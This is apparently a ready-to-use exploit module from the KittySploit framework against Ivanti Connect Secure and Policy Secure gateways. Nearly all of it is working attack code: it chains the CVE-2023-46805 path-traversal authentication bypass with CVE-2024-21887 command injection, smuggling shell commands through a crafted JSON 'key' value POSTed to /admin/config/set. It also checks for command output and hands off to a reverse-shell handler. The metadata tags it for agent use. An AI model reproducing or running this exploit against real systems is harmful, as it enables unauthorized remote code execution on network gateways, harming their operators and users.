Ivanti Connect Secure Command Injection (CVE-2024-21887)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ivanti Connect Secure auth bypass + command injection (CVE-2023-46805/21887)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Ivanti Connect Secure Command Injection (CVE-2024-21887)',
        'description': (
            'Chains CVE-2023-46805 path traversal auth bypass with CVE-2024-21887 command '
            'injection via /api/v1/totp/user-backup-code/../../admin/config/set on Ivanti '
            'Connect Secure / Policy Secure gateways.'
        ),
        'author': ['KittySploit Team', 'Horizon3', 'WatchTowr'],
        'cve': ['CVE-2024-21887', 'CVE-2023-46805'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2024-21887',
            'https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways',
        ],
        'tags': ['ivanti', 'connectsecure', 'auth-bypass', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/ivanti_connect_secure_cve_2024_21887_detect',
                ],
            },
        },
    }

    bypass_prefix = OptString(
        '/api/v1/totp/user-backup-code/../..',
        'Auth bypass path prefix',
        required=False,
        advanced=True,
    )

    def _bypass_reachable(self) -> bool:
        path = f'{self.bypass_prefix}/system/system-information'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return bool(r and r.status_code == 200 and 'build' in (r.text or '').lower())

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace('"', '\\"')
        path = f'{self.bypass_prefix}/admin/config/set'
        payload = {'key': f'x;{safe};#', 'value': 'x'}
        r = self.http_request(
            method='POST',
            path=path,
            json=payload,
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        if not self._bypass_reachable():
            return {
                'vulnerable': False,
                'reason': 'CVE-2023-46805 auth bypass not confirmed',
                'confidence': 'medium',
            }
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2024-21887 command injection confirmed',
                'confidence': 'high',
            }
        return {
            'vulnerable': True,
            'reason': 'Auth bypass confirmed; command output not returned in HTTP body',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        self.execute(f'echo {token} > /tmp/{token}')
        return self._bypass_reachable()

    def run(self):
        if not self._bypass_reachable():
            self.not_vulnerable()
            return False
        print_warning('Command injection may not return output in HTTP response — use reverse payload')
        return self.handler_execute()